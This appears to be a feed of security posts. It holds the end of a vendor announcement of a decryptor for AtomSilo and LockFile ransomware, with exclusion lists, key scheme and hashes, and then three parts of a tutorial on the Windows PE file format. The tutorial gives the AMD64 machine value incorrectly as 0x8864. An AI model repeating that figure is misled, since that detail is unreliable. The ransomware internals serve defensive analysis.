AtomSilo ransomware searches local drives using a fixed drive list, whilst LockFile calls GetLogicalDriveStringsA() and processes all drives that are fixed drives.

A separate thread is created for each drive in the list. This thread recursively searches the given logical drive and encrypts files found on it. To prevent paralyzing the compromised PC entirely, AtomSilo has a list of folders, file names and file types that are left unencrypted which are listed here:

Excluded folders
Boot Windows Windows.old Tor Browser
Internet Explorer Google Opera Opera Software
Mozilla Mozilla Firefox $Recycle.Bin ProgramData
All Users
Excluded files
autorun.inf index.html  boot.ini bootfont.bin
bootsect.bak bootmgr bootmgr.efi bootmgfw.efi
desktop.ini iconcache.db ntldr ntuser.dat
ntuser.dat.log ntuser.ini thumbs.db #recycle
Excluded extensions
.hta .html .exe .dll .cpl .ini
.cab .cur .cpl .drv .hlp .icl
.icns .ico .idx .sys .spl .ocx

LockFile avoids files and folders, containing those sub-strings:

Excluded sub-strings
Windows NTUSER LOCKFILE .lockfile

In addition to that, there is a list of 788 file types (extensions), which won’t be encrypted. Those include .exe, but also .jpg, .bmp and .gif. You may noticed that some of them are included repeatedly.

The ransomware generates RSA-4096 session keypair for each victim. Its private part is then stored in the ransom note file, encrypted by the master RSA key (hardcoded in the binary). A new AES-256 file key is generated for each file. This key is then encrypted by the session RSA key and stored at the end of the encrypted file, together with original file size. 

Each encrypted file contains a ransom note file with one of the names:

  • README-FILE-%ComputerName%-%TimeStamp%.hta
  • LOCKFILE-FILE-%ComputerName%-%TimeStamp%.hta

Encrypted files can be recognized by the .ATOMSILO or .lockfile extension: 

When the encryption process is complete, the ransom note is shown to the user. Each strain’s ransom note has its own look:

AtomSilo Ransom Message
LockFile Ransom Message

How to use the Decryptor

To decrypt your files, please, follow these steps:

  1. Download the free decryptor. The single EXE file covers both ransomware strains.
  2. Simply run the EXE. It starts in form of wizard, which leads you through configuration of the decryption process.
  3. On the initial page, you can see a list of credits. Simply click “Next”
  1. On the next page, select the list of locations which you want to be decrypted. By default, it contains a list of all local drives.
  1. On the third page, you can select whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins.
  1. Let the decryptor work and wait until it finishes.

Credits

We would like to thank Jiří Vinopal for sharing analysis of both ransomware strains.

IOCs

SHA filename
d9f7bb98ad01c4775ec71ec66f5546de131735e6dba8122474cc6eb62320e47b .ATOMSILO
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce .lockfile

The post Avast releases decryptor for AtomSilo and LockFile ransomware appeared first on Avast Threat Labs.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 4: Data Directories, Section Headers and Sections

By: 0xRick

A dive into the PE file format - PE file structure - Part 4: Data Directories, Section Headers and Sections

Introduction

In the last post we talked about the NT Headers and we skipped the last part of the Optional Header which was the data directories.

In this post we’re going to talk about what data directories are and where they are located.
We’re also going to cover section headers and sections in this post.


Data Directories

The last member of the IMAGE_OPTIONAL_HEADER structure was an array of IMAGE_DATA_DIRECTORY structures defined as follows:

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

IMAGE_NUMBEROF_DIRECTORY_ENTRIES is a constant defined with the value 16, meaning that this array can have up to 16 IMAGE_DATA_DIRECTORY entries:

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

An IMAGE_DATA_DIRETORY structure is defines as follows:

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

It’s a very simple structure with only two members, first one being an RVA pointing to the start of the Data Directory and the second one being the size of the Data Directory.

So what is a Data Directory? Basically a Data Directory is a piece of data located within one of the sections of the PE file.
Data Directories contain useful information needed by the loader, an example of a very important directory is the Import Directory which contains a list of external functions imported from other libraries, we’ll discuss it in more detail when we go over PE imports.

Please note that not all Data Directories have the same structure, the IMAGE_DATA_DIRECTORY.VirtualAddress points to the Data Directory, however the type of that directory is what determines how that chunk of data is going to be parsed.

Here’s a list of Data Directories defined in winnt.h. (Each one of these values represents an index in the DataDirectory array):

// Directory Entries

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

If we take a look at the contents of IMAGE_OPTIONAL_HEADER.DataDirectory of an actual PE file, we might see entries where both fields are set to 0:

This means that this specific Data Directory is not used (doesn’t exist) in the executable file.


Sections and Section Headers

Sections

Sections are the containers of the actual data of the executable file, they occupy the rest of the PE file after the headers, precisely after the section headers.
Some sections have special names that indicate their purpose, we’ll go over some of them, and a full list of these names can be found on the official Microsoft documentation under the “Special Sections” section.

  • .text: Contains the executable code of the program.
  • .data: Contains the initialized data.
  • .bss: Contains uninitialized data.
  • .rdata: Contains read-only initialized data.
  • .edata: Contains the export tables.
  • .idata: Contains the import tables.
  • .reloc: Contains image relocation information.
  • .rsrc: Contains resources used by the program, these include images, icons or even embedded binaries.
  • .tls: (Thread Local Storage), provides storage for every executing thread of the program.

Section Headers

After the Optional Header and before the sections comes the Section Headers. These headers contain information about the sections of the PE file.

A Section Header is a structure named IMAGE_SECTION_HEADER defined in winnt.h as follows:

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
  • Name: First field of the Section Header, a byte array of the size IMAGE_SIZEOF_SHORT_NAME that holds the name of the section. IMAGE_SIZEOF_SHORT_NAME has the value of 8 meaning that a section name can’t be longer than 8 characters. For longer names the official documentation mentions a work-around by filling this field with an offset in the string table, however executable images do not use a string table so this limitation of 8 characters holds for executable images.
  • PhysicalAddress or VirtualSize: A union defines multiple names for the same thing, this field contains the total size of the section when it’s loaded in memory.
  • VirtualAddress: The documentation states that for executable images this field holds the address of the first byte of the section relative to the image base when loaded in memory, and for object files it holds the address of the first byte of the section before relocation is applied.
  • SizeOfRawData: This field contains the size of the section on disk, it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
    SizeOfRawData and VirtualSize can be different, we’ll discuss the reason for this later in the post.
  • PointerToRawData: A pointer to the first page of the section within the file, for executable images it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
  • PointerToRelocations: A file pointer to the beginning of relocation entries for the section. It’s set to 0 for executable files.
  • PointerToLineNumbers: A file pointer to the beginning of COFF line-number entries for the section. It’s set to 0 because COFF debugging information is deprecated.
  • NumberOfRelocations: The number of relocation entries for the section, it’s set to 0 for executable images.
  • NumberOfLinenumbers: The number of COFF line-number entries for the section, it’s set to 0 because COFF debugging information is deprecated.
  • Characteristics: Flags that describe the characteristics of the section.
    These characteristics are things like if the section contains executable code, contains initialized/uninitialized data, can be shared in memory.
    A complete list of section characteristics flags can be found on the official Microsoft documentation.

SizeOfRawData and VirtualSize can be different, and this can happen for multiple of reasons.

SizeOfRawData must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment, so if the section size is less than that value the rest gets padded and SizeOfRawData gets rounded to the nearest multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
However when the section is loaded into memory it doesn’t follow that alignment and only the actual size of the section is occupied.
In this case SizeOfRawData will be greater than VirtualSize

The opposite can happen as well.
If the section contains uninitialized data, these data won’t be accounted for on disk, but when the section gets mapped into memory, the section will expand to reserve memory space for when the uninitialized data gets later initialized and used.
This means that the section on disk will occupy less than it will do in memory, in this case VirtualSize will be greater than SizeOfRawData.

Here’s the view of Section Headers in PE-bear:

We can see Raw Addr. and Virtual Addr. fields which correspond to IMAGE_SECTION_HEADER.PointerToRawData and IMAGE_SECTION_HEADER.VirtualAddress.

Raw Size and Virtual Size correspond to IMAGE_SECTION_HEADER.SizeOfRawData and IMAGE_SECTION_HEADER.VirtualSize.
We can see how these two fields are used to calculate where the section ends, both on disk and in memory.
For example if we take the .text section, it has a raw address of 0x400 and a raw size of 0xE00, if we add them together we get 0x1200 which is displayed as the section end on disk.
Similarly we can do the same with virtual size and address, virtual address is 0x1000 and virtual size is 0xD2C, if we add them together we get 0x1D2C.

The Characteristics field marks some sections as read-only, some other sections as read-write and some sections as readable and executable.

PointerToRelocations, NumberOfRelocations and NumberOfLinenumbers are set to 0 as expected.


Conclusion

That’s it for this post, we’ve discussed what Data Directories are and we talked about sections.
The next post will be about PE imports.
Thanks for reading.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 3: NT Headers

By: 0xRick

A dive into the PE file format - PE file structure - Part 3: NT Headers

Introduction

In the previous post we looked at the structure of the DOS header and we reversed the DOS stub.

In this post we’re going to talk about the NT Headers part of the PE file structure.

Before we get into the post, we need to talk about an important concept that we’re going to see a lot, and that is the concept of a Relative Virtual Address or an RVA. An RVA is just an offset from where the image was loaded in memory (the Image Base). So to translate an RVA into an absolute virtual address you need to add the value of the RVA to the value of the Image Base. PE files rely heavily on the use of RVAs as we’ll see later.


NT Headers (IMAGE_NT_HEADERS)

NT headers is a structure defined in winnt.h as IMAGE_NT_HEADERS, by looking at its definition we can see that it has three members, a DWORD signature, an IMAGE_FILE_HEADER structure called FileHeader and an IMAGE_OPTIONAL_HEADER structure called OptionalHeader.
It’s worth mentioning that this structure is defined in two different versions, one for 32-bit executables (Also named PE32 executables) named IMAGE_NT_HEADERS and one for 64-bit executables (Also named PE32+ executables) named IMAGE_NT_HEADERS64.
The main difference between the two versions is the used version of IMAGE_OPTIONAL_HEADER structure which has two versions, IMAGE_OPTIONAL_HEADER32 for 32-bit executables and IMAGE_OPTIONAL_HEADER64 for 64-bit executables.

typedef struct _IMAGE_NT_HEADERS64 {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

Signature

First member of the NT headers structure is the PE signature, it’s a DWORD which means that it occupies 4 bytes.
It always has a fixed value of 0x50450000 which translates to PE\0\0 in ASCII.

Here’s a screenshot from PE-bear showing the PE signature:

File Header (IMAGE_FILE_HEADER)

Also called “The COFF File Header”, the File Header is a structure that holds some information about the PE file.
It’s defined as IMAGE_FILE_HEADER in winnt.h, here’s the definition:

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

It’s a simple structure with 7 members:

  • Machine: This is a number that indicates the type of machine (CPU Architecture) the executable is targeting, this field can have a lot of values, but we’re only interested in two of them, 0x8864 for AMD64 and 0x14c for i386. For a complete list of possible values you can check the official Microsoft documentation.
  • NumberOfSections: This field holds the number of sections (or the number of section headers aka. the size of the section table.).
  • TimeDateStamp: A unix timestamp that indicates when the file was created.
  • PointerToSymbolTable and NumberOfSymbols: These two fields hold the file offset to the COFF symbol table and the number of entries in that symbol table, however they get set to 0 which means that no COFF symbol table is present, this is done because the COFF debugging information is deprecated.
  • SizeOfOptionalHeader: The size of the Optional Header.
  • Characteristics: A flag that indicates the attributes of the file, these attributes can be things like the file being executable, the file being a system file and not a user program, and a lot of other things. A complete list of these flags can be found on the official Microsoft documentation.

Here’s the File Header contents of an actual PE file:

Optional Header (IMAGE_OPTIONAL_HEADER)

The Optional Header is the most important header of the NT headers, the PE loader looks for specific information provided by that header to be able to load and run the executable.
It’s called the optional header because some file types like object files don’t have it, however this header is essential for image files.
It doesn’t have a fixed size, that’s why the IMAGE_FILE_HEADER.SizeOfOptionalHeader member exists.

The first 8 members of the Optional Header structure are standard for every implementation of the COFF file format, the rest of the header is an extension to the standard COFF optional header defined by Microsoft, these additional members of the structure are needed by the Windows PE loader and linker.

As mentioned earlier, there are two versions of the Optional Header, one for 32-bit executables and one for 64-bit executables.
The two versions are different in two aspects:

  • The size of the structure itself (or the number of members defined within the structure): IMAGE_OPTIONAL_HEADER32 has 31 members while IMAGE_OPTIONAL_HEADER64 only has 30 members, that additional member in the 32-bit version is a DWORD named BaseOfData which holds an RVA of the beginning of the data section.
  • The data type of some of the members: The following 5 members of the Optional Header structure are defined as DWORD in the 32-bit version and as ULONGLONG in the 64-bit version:
    • ImageBase
    • SizeOfStackReserve
    • SizeOfStackCommit
    • SizeOfHeapReserve
    • SizeOfHeapCommit

Let’s take a look at the definition of both structures.

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // NT additional fields.
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
typedef struct _IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;
    DWORD       SectionAlignment;
    DWORD       FileAlignment;
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;
    DWORD       SizeOfHeaders;
    DWORD       CheckSum;
    WORD        Subsystem;
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
  • Magic: Microsoft documentation describes this field as an integer that identifies the state of the image, the documentation mentions three common values:

    • 0x10B: Identifies the image as a PE32 executable.
    • 0x20B: Identifies the image as a PE32+ executable.
    • 0x107: Identifies the image as a ROM image.

    The value of this field is what determines whether the executable is 32-bit or 64-bit, IMAGE_FILE_HEADER.Machine is ignored by the Windows PE loader.

  • MajorLinkerVersion and MinorLinkerVersion: The linker major and minor version numbers.

  • SizeOfCode: This field holds the size of the code (.text) section, or the sum of all code sections if there are multiple sections.

  • SizeOfInitializedData: This field holds the size of the initialized data (.data) section, or the sum of all initialized data sections if there are multiple sections.

  • SizeOfUninitializedData: This field holds the size of the uninitialized data (.bss) section, or the sum of all uninitialized data sections if there are multiple sections.

  • AddressOfEntryPoint: An RVA of the entry point when the file is loaded into memory. The documentation states that for program images this relative address points to the starting address and for device drivers it points to initialization function. For DLLs an entry point is optional, and in the case of entry point absence the AddressOfEntryPoint field is set to 0.

  • BaseOfCode: An RVA of the start of the code section when the file is loaded into memory.

  • BaseOfData (PE32 Only): An RVA of the start of the data section when the file is loaded into memory.

  • ImageBase: This field holds the preferred address of the first byte of image when loaded into memory (the preferred base address), this value must be a multiple of 64K. Due to memory protections like ASLR, and a lot of other reasons, the address specified by this field is almost never used, in this case the PE loader chooses an unused memory range to load the image into, after loading the image into that address the loader goes into a process called the relocating where it fixes the constant addresses within the image to work with the new image base, there’s a special section that holds information about places that will need fixing if relocation is needed, that section is called the relocation section (.reloc), more on that in the upcoming posts.

  • SectionAlignment: This field holds a value that gets used for section alignment in memory (in bytes), sections are aligned in memory boundaries that are multiples of this value. The documentation states that this value defaults to the page size for the architecture and it can’t be less than the value of FileAlignment.

  • FileAlignment: Similar to SectionAligment this field holds a value that gets used for section raw data alignment on disk (in bytes), if the size of the actual data in a section is less than the FileAlignment value, the rest of the chunk gets padded with zeroes to keep the alignment boundaries. The documentation states that this value should be a power of 2 between 512 and 64K, and if the value of SectionAlignment is less than the architecture’s page size then the sizes of FileAlignment and SectionAlignment must match.

  • MajorOperatingSystemVersion, MinorOperatingSystemVersion, MajorImageVersion, MinorImageVersion, MajorSubsystemVersion and MinorSubsystemVersion: These members of the structure specify the major version number of the required operating system, the minor version number of the required operating system, the major version number of the image, the minor version number of the image, the major version number of the subsystem and the minor version number of the subsystem respectively.

  • Win32VersionValue: A reserved field that the documentation says should be set to 0.

  • SizeOfImage: The size of the image file (in bytes), including all headers. It gets rounded up to a multiple of SectionAlignment because this value is used when loading the image into memory.

  • SizeOfHeaders: The combined size of the DOS stub, PE header (NT Headers), and section headers rounded up to a multiple of FileAlignment.

  • CheckSum: A checksum of the image file, it’s used to validate the image at load time.

  • Subsystem: This field specifies the Windows subsystem (if any) that is required to run the image, A complete list of the possible values of this field can be found on the official Microsoft documentation.

  • DLLCharacteristics: This field defines some characteristics of the executable image file, like if it’s NX compatible and if it can be relocated at run time. I have no idea why it’s named DLLCharacteristics, it exists within normal executable image files and it defines characteristics that can apply to normal executable files. A complete list of the possible flags for DLLCharacteristics can be found on the official Microsoft documentation.

  • SizeOfStackReserve, SizeOfStackCommit, SizeOfHeapReserve and SizeOfHeapCommit: These fields specify the size of the stack to reserve, the size of the stack to commit, the size of the local heap space to reserve and the size of the local heap space to commit respectively.

  • LoaderFlags: A reserved field that the documentation says should be set to 0.

  • NumberOfRvaAndSizes : Size of the DataDirectory array.

  • DataDirectory: An array of IMAGE_DATA_DIRECTORY structures. We will talk about this in the next post.

Let’s take a look at the Optional Header contents of an actual PE file.

We can talk about some of these fields, first one being the Magic field at the start of the header, it has the value 0x20B meaning that this is a PE32+ executable.

We can see that the entry point RVA is 0x12C4 and the code section start RVA is 0x1000, it follows the alignment defined by the SectionAlignment field which has the value of 0x1000.

File alignment is set to 0x200, and we can verify this by looking at any of the sections, for example the data section:

As you can see, the actual contents of the data section are from 0x2200 to 0x2229, however the rest of the section is padded until 0x23FF to comply with the alignment defined by FileAlignment.

SizeOfImage is set to 7000 and SizeOfHeaders is set to 400, both are multiples of SectionAlignment and FileAlignment respectively.

The Subsystem field is set to 3 which is the Windows console, and that makes sense because the program is a console application.

I didn’t include the DataDirectory in the optional header contents screenshot because we still haven’t talked about it yet.


Conclusion

We’ve reached the end of this post. In summary we looked at the NT Headers structure, and we discussed the File Header and Optional Header structures in detail.
In the next post we will take a look at the Data Directories, the Section Headers, and the sections.
Thanks for reading.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 2: DOS Header, DOS Stub and Rich Header

By: 0xRick

A dive into the PE file format - PE file structure - Part 2: DOS Header, DOS Stub and Rich Header

Introduction

In the previous post we looked at a high level overview of the PE file structure, in this post we’re going to talk about the first two parts which are the DOS Header and the DOS Stub.

The PE viewer I’m going to use throughout the series is called PE-bear, it’s full of features and has a good UI.


DOS Header

Overview

The DOS header (also called the MS-DOS header) is a 64-byte-long structure that exists at the start of the PE file.
it’s not important for the functionality of PE files on modern Windows systems, however it’s there because of backward compatibility reasons.
This header makes the file an MS-DOS executable, so when it’s loaded on MS-DOS the DOS stub gets executed instead of the actual program.
Without this header, if you attempt to load the executable on MS-DOS it will not be loaded and will just produce a generic error.

Structure

As mentioned before, it’s a 64-byte-long structure, we can take a look at the contents of that structure by looking at the IMAGE_DOS_HEADER structure definition from winnt.h:

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

This structure is important to the PE loader on MS-DOS, however only a few members of it are important to the PE loader on Windows Systems, so we’re not going to cover everything in here, just the important members of the structure.

  • e_magic: This is the first member of the DOS Header, it’s a WORD so it occupies 2 bytes, it’s usually called the magic number. It has a fixed value of 0x5A4D or MZ in ASCII, and it serves as a signature that marks the file as an MS-DOS executable.
  • e_lfanew: This is the last member of the DOS header structure, it’s located at offset 0x3C into the DOS header and it holds an offset to the start of the NT headers. This member is important to the PE loader on Windows systems because it tells the loader where to look for the file header.

The following picture shows contents of the DOS header in an actual PE file using PE-bear:

As you can see, the first member of the header is the magic number with the fixed value we talked about which was 5A4D.
The last member of the header (at offset 0x3C) is given the name “File address of new exe header”, it has the value 100, we can follow to that offset and we’ll find the start of the NT headers as expected:


DOS Stub

Overview

The DOS stub is an MS-DOS program that prints an error message saying that the executable is not compatible with DOS then exits.
This is what gets executed when the program is loaded in MS-DOS, the default error message is “This program cannot be run in DOS mode.”, however this message can be changed by the user during compile time.

That’s all we need to know about the DOS stub, we don’t really care about it, but let’s take a look at what it’s doing just for fun.

Analysis

To be able to disassemble the machine code of the DOS stub, I copied the code of the stub from PE-bear, then I created a new file with the stub contents using a hex editor (HxD) and gave it the name dos-stub.exe.

Stub code:

0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00

After that I used IDA to disassemble the executable, MS-DOS programs are 16-bit programs, so I chose the intel 8086 processor type and the 16-bit disassembly mode.

It’s a fairly simple program, let’s step through it line by line:

seg000:0000                 push    cs
seg000:0001                 pop     ds

First line pushes the value of cs onto the stack and the second line pops that value from the top of stack into ds. This is just a way of setting the value of the data segment to the same value as the code segment.

seg000:0002                 mov     dx, 0Eh
seg000:0005                 mov     ah, 9
seg000:0007                 int     21h             ; DOS - PRINT STRING
seg000:0007                                         ; DS:DX -> string terminated by "$"

These three lines are responsible for printing the error message, first line sets dx to the address of the string “This program cannot be run in DOS mode.” (0xe), second line sets ah to 9 and the last line invokes interrupt 21h.

Interrupt 21h is a DOS interrupt (API call) that can do a lot of things, it takes a parameter that determines what function to execute and that parameter is passed in the ah register.
We see here that the value 9 is given to the interrupt, 9 is the code of the function that prints a string to the screen, that function takes a parameter which is the address of the string to print, that parameter is passed in the dx register as we can see in the code.

Information about the DOS API can be found on wikipedia.

seg000:0009                 mov     ax, 4C01h
seg000:000C                 int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg000:000C                                         ; AL = exit code

The last three lines of the program are again an interrupt 21h call, this time there’s a mov instruction that puts 0X4C01 into ax, this sets al to 0x01 and ah to 0x4c.

0x4c is the function code of the function that exits with an error code, it takes the error code from al, which in this case is 1.

So in summary, all the DOS stub is doing is print the error message then exit with code 1.


Rich Header

So now we’ve seen the DOS Header and the DOS Stub, however there’s still a chunk of data we haven’t talked about lying between the DOS Stub and the start of the NT Headers.

This chunk of data is commonly referred to as the Rich Header, it’s an undocumented structure that’s only present in executables built using the Microsoft Visual Studio toolset.
This structure holds some metadata about the tools used to build the executable like their names or types and their specific versions and build numbers.

All of the resources I have read about PE files didn’t mention this structure, however when searching about the Rich Header itself I found a decent amount of resources, and that makes sense because the Rich Header is not actually a part of the PE file format structure and can be completely zeroed-out without interfering with the executable’s functionality, it’s just something that Microsoft adds to any executable built using their Visual Studio toolset.

I only know about the Rich Header because I’ve read the reports on the Olympic Destroyer malware, and for those who don’t know what Olympic Destroyer is, it’s a malware that was written and used by a threat group in an attempt to disrupt the 2018 Winter Olympics.
This piece of malware is known for having a lot of false flags that were intentionally put to cause confusion and misattribution, one of the false flags present there was a Rich Header.
The authors of the malware overwrote the original Rich Header in the malware executable with the Rich Header of another malware attributed to the Lazarus threat group to make it look like it was Lazarus.
You can check Kaspersky’s report for more information about this.

The Rich Header consists of a chunk of XORed data followed by a signature (Rich) and a 32-bit checksum value that is the XOR key.
The encrypted data consists of a DWORD signature DanS, 3 zeroed-out DWORDs for padding, then pairs of DWORDS each pair representing an entry, and each entry holds a tool name, its build number and the number of times it’s been used.
In each DWORD pair the first pair holds the type ID or the product ID in the high WORD and the build ID in the low WORD, the second pair holds the use count.

PE-bear parses the Rich Header automatically:

As you can see the DanS signature is the first thing in the structure, then there are 3 zeroed-out DWORDs and after that comes the entries.
We can also see the corresponding tools and Visual Studio versions of the product and build IDs.

As an exercise I wrote a script to parse this header myself, it’s a very simple process, all we need to do is to XOR the data, then read the entry pairs and translate them.

Rich Header data:

7E 13 87 AA 3A 72 E9 F9 3A 72 E9 F9 3A 72 E9 F9
33 0A 7A F9 30 72 E9 F9 F1 1D E8 F8 38 72 E9 F9 
F1 1D EC F8 2B 72 E9 F9 F1 1D ED F8 30 72 E9 F9 
F1 1D EA F8 39 72 E9 F9 61 1A E8 F8 3F 72 E9 F9 
3A 72 E8 F9 0A 72 E9 F9 BC 02 E0 F8 3B 72 E9 F9 
BC 02 16 F9 3B 72 E9 F9 BC 02 EB F8 3B 72 E9 F9 
52 69 63 68 3A 72 E9 F9 00 00 00 00 00 00 00 00

Script:

import textwrap

def xor(data, key):
	return bytearray( ((data[i] ^ key[i % len(key)]) for i in range(0, len(data))) )

def rev_endiannes(data):
	tmp = [data[i:i+8] for i in range(0, len(data), 8)]
	
	for i in range(len(tmp)):
		tmp[i] = "".join(reversed([tmp[i][x:x+2] for x in range(0, len(tmp[i]), 2)]))
	
	return "".join(tmp)

data = bytearray.fromhex("7E1387AA3A72E9F93A72E9F93A72E9F9330A7AF93072E9F9F11DE8F83872E9F9F11DECF82B72E9F9F11DEDF83072E9F9F11DEAF83972E9F9611AE8F83F72E9F93A72E8F90A72E9F9BC02E0F83B72E9F9BC0216F93B72E9F9BC02EBF83B72E9F9")
key  = bytearray.fromhex("3A72E9F9")

rch_hdr = (xor(data,key)).hex()
rch_hdr = textwrap.wrap(rch_hdr, 16)

for i in range(2,len(rch_hdr)):
	tmp = textwrap.wrap(rch_hdr[i], 8)
	f1 = rev_endiannes(tmp[0])
	f2 = rev_endiannes(tmp[1])
	print("{} {} : {}.{}.{}".format(f1, f2, str(int(f1[4:],16)), str(int(f1[0:4],16)), str(int(f2,16)) ))

Please note that I had to reverse the byte-order because the data was presented in little-endian.

After running the script we can see an output that’s identical to PE-bear’s interpretation, meaning that the script works fine.

Translating these values into the actual tools types and versions is a matter of collecting the values from actual Visual Studio installations.
I checked the source code of bearparser (the parser used in PE-bear) and I found comments mentioning where these values were collected from.

//list from: https://github.com/kirschju/richheader
//list based on: https://github.com/kirschju/richheader + pnx's notes

You can check the source code for yourself, it’s on hasherezade’s (PE-bear author) Github page.


Conclusion

